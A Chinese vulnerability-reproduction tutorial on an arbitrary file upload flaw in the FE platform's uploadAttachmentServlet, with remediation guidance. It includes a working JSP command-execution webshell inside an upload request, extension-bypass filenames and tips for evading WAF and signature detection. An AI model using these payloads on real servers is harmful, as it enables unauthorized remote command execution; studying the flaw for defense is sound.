1. 项目概述:一次典型的企业级应用文件上传漏洞剖析
最近在梳理一些企业级应用的历史安全问题时,遇到了“飞企互联-FE企业运营管理平台”的一个老漏洞。这个漏洞的核心在于其uploadAttachmentServlet接口存在任意文件上传问题。对于从事安全研究、渗透测试或者企业运维的朋友来说,这类漏洞的复现与分析极具代表性。它不仅仅是一个简单的“上传点未过滤”问题,更折射出在传统Java Web应用(特别是基于Servlet架构)开发中,对用户输入校验、路径处理和安全配置的常见疏忽。今天,我就结合这个具体案例,拆解一下这类漏洞的成因、利用手法,以及在复现过程中需要注意的细节和可以延伸的思考。无论你是想了解漏洞原理的新手,还是希望深化漏洞挖掘思路的同行,相信都能从中获得一些实用的参考。
2. 漏洞环境搭建与核心原理拆解
2.1 目标系统与漏洞点定位
飞企互联的FE平台是一个面向企业运营管理的综合性系统,通常包含OA、流程审批等功能模块。uploadAttachmentServlet从其命名可以直观看出,这是一个用于处理附件上传的Servlet。在Java Web应用中,Servlet是处理HTTP请求的核心组件,像doPost或doGet这样的方法会接收并处理客户端数据。
漏洞的根源就在于这个Servlet在处理上传请求时,没有对用户上传的文件进行有效的安全校验。通常,一个安全的文件上传功能应该至少包含以下检查:
- 文件类型校验:检查文件扩展名(如
.jpg,.pdf)或MIME类型,阻止可执行脚本(如.jsp,.php)的上传。 - 文件内容校验:通过文件头魔数等方式,防止用户通过修改扩展名绕过类型检查。
- 上传路径隔离:将上传的文件存储到Web应用根目录之外,或者至少是无法直接通过URL访问的目录。
- 文件名重命名:使用随机字符串(如UUID)重命名上传的文件,避免路径遍历和文件覆盖攻击。
而存在漏洞的uploadAttachmentServlet,极大概率缺失了上述第1、3、4项关键检查,特别是对文件扩展名的过滤,导致攻击者可以直接上传一个包含恶意代码的JSP文件。
2.2 实验环境快速部署要点
为了复现漏洞,我们需要一个可用的FE平台测试环境。由于涉及商业软件,我们必须在完全隔离、合法的测试环境中进行,例如本地虚拟机或授权测试的沙箱。
环境准备清单:
- 操作系统:Windows Server或Linux(如CentOS 7),根据官方文档推荐选择。
- Java运行环境:JDK 1.8(企业级应用常见版本)。
- Web服务器:Apache Tomcat 8.x 或 9.x。这是运行Servlet/JSP应用的标准容器。
- 数据库:MySQL 5.7。通常这类平台使用MySQL作为后端存储。
- FE平台安装包:获取特定存在漏洞版本的安装程序或WAR包。
部署核心步骤与避坑指南:
- 基础环境安装:先安装JDK并配置
JAVA_HOME环境变量,再安装Tomcat和MySQL。确保Tomcat能正常启动,访问8080端口出现猫猫页面。 - 数据库初始化:找到FE平台安装包中的数据库SQL脚本(通常叫
init.sql或fe_db.sql),在MySQL中创建同名数据库并导入。 - 应用部署:
- 如果提供WAR包,直接将其复制到Tomcat的
webapps目录下,重启Tomcat即可自动解压部署。 - 如果是安装程序,按照向导安装,通常需要指定JDK路径、Tomcat路径和数据库连接信息(地址、库名、用户名、密码)。
- 如果提供WAR包,直接将其复制到Tomcat的
- 关键配置检查:
- 数据库连接池:检查
WEB-INF/classes(或类似路径)下的配置文件(如jdbc.properties),确保数据库IP、端口、用户名密码正确。一个常见的坑是数据库版本不兼容导致连接失败,确保驱动版本匹配。 - 文件上传配置:查看
web.xml或相关Spring配置,寻找关于文件上传大小限制(max-file-size,max-request-size)的配置。虽然这与漏洞无关,但过小的限制可能影响我们上传Webshell。 - Tomcat权限:确保Tomcat进程用户(如
tomcat)对上传目录(如果已知)有写入权限。
- 数据库连接池:检查
注意:所有操作务必在授权环境进行。切勿在互联网上搜索或尝试攻击任何未经授权的真实系统,这是违法行为。
3. 漏洞利用链的详细构造与分析
3.1 定位上传接口与请求分析
环境启动后,我们首先需要找到uploadAttachmentServlet的访问路径。有几种方法:
- 前端代码分析:在浏览器中打开平台,进入任何有附件上传功能(如发文、流程附件)的页面,通过浏览器开发者工具(F12)的“网络”选项卡,监控上传文件时发出的HTTP请求。请求的URL很可能就包含
uploadAttachmentServlet。 - 后端代码审计(如果有源码):在
web.xml文件中搜索uploadAttachmentServlet的URL映射(<servlet-mapping>)。 - 目录/路径猜测:常见路径如
/fe/uploadAttachmentServlet,/servlet/UploadAttachment,/platform/uploadFile等。
找到路径后(假设为/fe/uploadAttachmentServlet),我们使用Burp Suite或Postman等工具拦截/构造请求。一个典型的多部分表单数据(multipart/form-data)上传请求结构如下:
POST /fe/uploadAttachmentServlet HTTP/1.1 Host: target.test.com:8080 User-Agent: Mozilla/5.0... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 Content-Length: 12345 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundaryABC123--请求关键字段解析:
Content-Type: multipart/form-data:必须为此类型,用于上传文件。boundary:分隔符,用于分隔请求体中的不同字段。name="file":文件参数的名称,需要根据实际前端代码确定,可能是file、uploadFile、filedata等。filename="test.jsp":这是攻击的关键。我们直接尝试上传JSP后缀的文件。Content-Type: application/octet-stream:通常设置为二进制流,有时服务器会检查此MIME类型,但绕过方式很多。
3.2 绕过技巧与路径获取实战
如果直接上传.jsp文件被拦截,我们需要尝试一些绕过技巧:
- 大小写绕过:
test.Jsp,test.JSP。 - 双写/嵌套扩展名:
test.jsp.jpg(如果后端只检查最后一个点之后的内容,可能被绕过,但需要配合解析漏洞)。 - 空格/点号绕过:
test.jsp.(末尾加点),test.jsp(末尾加空格,需要Burp修改十六进制为20)。 - 路径遍历结合:在
filename参数中尝试目录穿越,如../../../test.jsp,试图将文件上传到Web根目录(如webapps/fe/下)。
如何确定上传成功后的文件路径?这是利用漏洞的另一个关键。上传接口通常会返回一些JSON或XML格式的响应,其中可能包含文件保存的路径、访问URL或新的文件名。
- 分析响应包:仔细查看上传成功后服务器的返回内容。可能包含
"url":"/upload/20240527/abcdefg.jsp"或"path":"D:/fe_upload/20240527/xxx.jsp"这样的字段。 - 默认路径猜测:如果响应不包含路径,可以尝试常见目录:
- Web应用根目录下:
/upload/,/attached/,/files/ - ../../
webapps/fe/下的某个目录。 - 通过上传一个正常图片,然后在前端查看其属性,获取图片的完整URL,从而反推上传目录结构。
- Web应用根目录下:
一旦我们获得了Webshell(即test.jsp)的完整HTTP访问路径,例如http://target.test.com:8080/fe/upload/20240527/xxx.jsp,就可以通过浏览器访问,并附加cmd参数执行系统命令,例如?cmd=whoami。
4. 漏洞深度挖掘与安全加固思考
4.1 从Servlet层面看漏洞根源
这个漏洞是Servlet时代文件上传漏洞的典型。很多早期的Java Web应用,处理文件上传会使用Apache Commons FileUpload库,或者自己解析multipart/form-data请求体。漏洞代码可能长这样:
// 伪代码,示意危险操作 Part filePart = request.getPart("file"); String fileName = filePart.getSubmittedFileName(); // 直接获取客户端提交的文件名 File uploadFile = new File("/var/webapp/upload/" + fileName); // 直接拼接路径 filePart.write(uploadFile.getAbsolutePath()); // 写入文件问题一目了然:
- 对
fileName未做任何过滤,攻击者可以传入../../../test.jsp。 - 保存路径在Web目录下,导致文件可被直接访问。
- 没有对文件内容做二次检查。
安全的Servlet文件上传应该怎么做?
- 使用随机文件名:
String savedFileName = UUID.randomUUID().toString() + getFileExtension(fileName);。其中getFileExtension是一个严格的白名单函数。 - 白名单校验扩展名:只允许
jpg, png, pdf, doc, docx等业务必需的类型。 - 存储路径隔离:将文件保存在Web根目录之外(如
/opt/app_upload/),并通过一个独立的文件下载Servlet(如DownloadServlet)来读取和提供文件流。这样即使上传了恶意文件,也无法直接通过URL执行。 - 内容安全检查:对于图片,可以使用ImageIO读取验证;对于文档,可以使用Apache POI等库尝试解析,如果解析失败则可能是恶意文件。
4.2 漏洞修复方案与运维建议
对于企业运维和安全人员,如果负责的系统存在此类隐患,修复是当务之急。
短期应急措施:
- WAF规则:在Web应用防火墙或网关层面,添加规则拦截对
uploadAttachmentServlet的请求中,filename参数包含..、.jsp、.php等危险字符的请求。 - 文件系统权限:检查上传目录的权限,确保其不在Tomcat的
webapps目录下,并且目录权限设置为不可执行脚本(具体方法因Web服务器而异)。 - 删除Webshell:立即排查上传目录,清除所有非白名单格式的可执行脚本文件。
长期根本修复:
- 代码层修复:这是最根本的。修改
uploadAttachmentServlet的源代码,实现上述安全策略(白名单、重命名、路径隔离)。如果无法修改源码,可以考虑使用Filter或AOP(面向切面编程)对上传请求进行全局拦截和校验。 - 框架升级与安全组件引入:对于老旧系统,考虑在架构层面引入Spring框架(如Spring MVC),其
MultipartFile接口配合配置化的解析器,安全性更高。或者使用成熟的文件上传安全组件。 - 定期安全扫描与代码审计:将文件上传功能点作为每次安全扫描和代码审计的重点对象。使用SAST(静态应用安全测试)工具扫描代码,使用DAST(动态应用安全测试)工具模拟攻击上传点。
开发与运维协作建议:
- 安全需求前置:在需求评审阶段,安全团队就应介入,明确文件上传等功能的安全规格。
- 安全编码规范:制定并推行包含文件上传安全章节的编码规范,对开发人员进行培训。
- 漏洞管理流程:建立从漏洞发现、评估、修复到验证的闭环流程,确保类似漏洞能被快速响应。
5. 漏洞复现的常见问题与排查实录
在复现过程中,你可能会遇到各种问题。这里记录几个典型场景和解决思路。
问题1:上传请求返回“成功”,但找不到上传的文件,或访问404。
- 排查思路:
- 检查响应内容:确认服务器返回的是真正的成功消息(如
{“status”:”success”}),而不是一个错误页或重定向。有时服务器会返回200状态码但内容是错误信息。 - 检查文件保存路径:登录服务器,在Tomcat的工作目录(
work/Catalina/localhost/)、Web应用目录(webapps/fe/)以及系统临时目录进行全局搜索,查找最近修改的.jsp文件。命令如find / -name “*.jsp” -mmin -5 2>/dev/null。 - 检查磁盘空间与权限:使用
df -h查看磁盘是否已满。使用ls -la检查目标上传目录的权限,Tomcat进程用户是否有写权限。 - 检查应用日志:查看Tomcat的
catalina.out日志或应用自身的日志文件,寻找上传处理相关的错误信息,如FileNotFoundException,Permission denied等。
- 检查响应内容:确认服务器返回的是真正的成功消息(如
问题2:上传.jsp文件被拦截,返回“文件类型不允许”。
- 排查思路:
- 确认拦截点:是在前端JS校验,还是在后端拦截?通过Burp Suite拦截请求后,修改
filename为test.jpg,但文件内容仍是JSP代码,然后放行。如果成功,说明是前端校验;如果失败,说明是后端校验。 - 尝试绕过:如果是后端校验,尝试上述绕过技巧。重点尝试
test.jsp.(末尾加点)、test.j sp(中间加空格)、test.jsp%00.jpg(空字节截断,需注意HTTP版本和容器,现代环境大多已修复)。 - 分析校验逻辑:如果可能,反编译或查看相关JAR包,找到文件类型校验的类和方法,分析其白名单或黑名单列表,寻找漏网之鱼。
- 确认拦截点:是在前端JS校验,还是在后端拦截?通过Burp Suite拦截请求后,修改
问题3:Webshell上传成功并可访问,但执行命令无回显或报错。
- 排查思路:
- 命令执行环境:JSP Webshell执行命令依赖于服务器的系统环境。
whoami、ipconfig/ifconfig是常用测试命令。无回显可能是命令执行失败,或输出被重定向。 - 尝试不同命令:执行
cmd /c echo hello(Windows) 或/bin/sh -c echo hello(Linux),看是否有基础输出。执行ping 127.0.0.1观察服务器是否有网络流量(简单判断是否执行)。 - 权限问题:Tomcat默认以非root权限运行。执行
whoami查看当前用户,可能权限较低,无法执行某些命令(如修改系统配置)。 - Java安全策略:服务器可能启用了Java Security Manager,限制了
Runtime.exec()的执行。此时需要更复杂的绕过技术,或寻找其他漏洞点(如反序列化)。 - 防火墙/安全软件:服务器可能装有主机安全软件,拦截了可疑的进程创建行为。
- 命令执行环境:JSP Webshell执行命令依赖于服务器的系统环境。
问题4:复现环境搭建失败,应用无法启动。
- 排查思路:
- 日志!日志!日志!:这是最重要的排错依据。仔细阅读Tomcat的
catalina.out、localhost.log以及应用自身的日志文件。常见的错误有:数据库连接失败、配置文件找不到、类冲突(ClassNotFoundException/NoClassDefFoundError)、端口占用等。 - 版本兼容性:严格对照官方文档,检查JDK版本、Tomcat版本、数据库版本是否匹配。特别是MySQL驱动
mysql-connector-java的版本。 - 依赖缺失:有些应用需要额外的JAR包,需要手动放入
WEB-INF/lib目录。 - 数据库配置:确保数据库已创建,且连接字符串中的IP、端口、数据库名、用户名、密码完全正确。可以在服务器上用命令行工具(如
mysql -u root -p)先测试连接。
- 日志!日志!日志!:这是最重要的排错依据。仔细阅读Tomcat的
6. 从漏洞复现到安全研究的思维延伸
复现一个已知漏洞只是起点。更重要的是通过这个点,形成一套发现和评估同类问题的思维模式。
1. 接口发现与资产测绘:不仅仅是uploadAttachmentServlet。任何以Servlet、Action、Controller、Api结尾的路径,以及/upload、/file、/import、/export等关键词的接口,都应纳入文件上传漏洞的排查范围。可以使用爬虫工具(如Awvs、Xray的爬虫功能)或目录字典进行扫描。
2. 漏洞利用的精细化:上传Webshell执行命令是“粗暴”的证明方式。在实际渗透测试中,需要考虑更隐蔽和持久的方式。例如:
- 上传一个包含SQL语句的JSP文件,用于直接操作数据库。
- 上传一个用于发起内网扫描或代理流量的JSP脚本。
- 结合其他漏洞,如文件上传+文件包含,实现更灵活的代码执行。
3. 防御机制的绕过研究:现代应用和WAF的防御在增强。研究如何绕过:
- 内容检测:在Webshell代码中插入大量注释、无效代码、编码混淆,以绕过基于特征码的检测。
- 动态检测:使用Java反射、自定义类加载器等技术,构造无危险函数特征的Webshell。
- 逻辑漏洞:有时校验和保存文件不是同一个接口或同一时刻,可能存在竞争条件、校验绕过等逻辑问题。
4. 自动化工具辅助与手动验证结合:可以使用Burp Suite的Intruder模块对filename参数进行Fuzz,测试各种绕过payload。也可以编写简单的Python脚本自动化测试流程。但工具不能替代思考,任何工具报告的“潜在漏洞”都必须经过严格的手工验证,包括上传、访问、功能验证三步,避免误报。
这个“飞企互联FE平台uploadAttachmentServlet任意文件上传漏洞”的复现过程,就像一次标准的外科手术,清晰地解剖了一个典型的安全问题。它告诉我们,安全是一个贯穿设计、开发、测试、部署、运维全生命周期的持续过程。对于开发者,要在编码时绷紧安全这根弦;对于运维和安全人员,要具备发现和应对此类风险的能力。每一次成功的漏洞复现或防御加固,都是对自身安全水位的一次有效提升。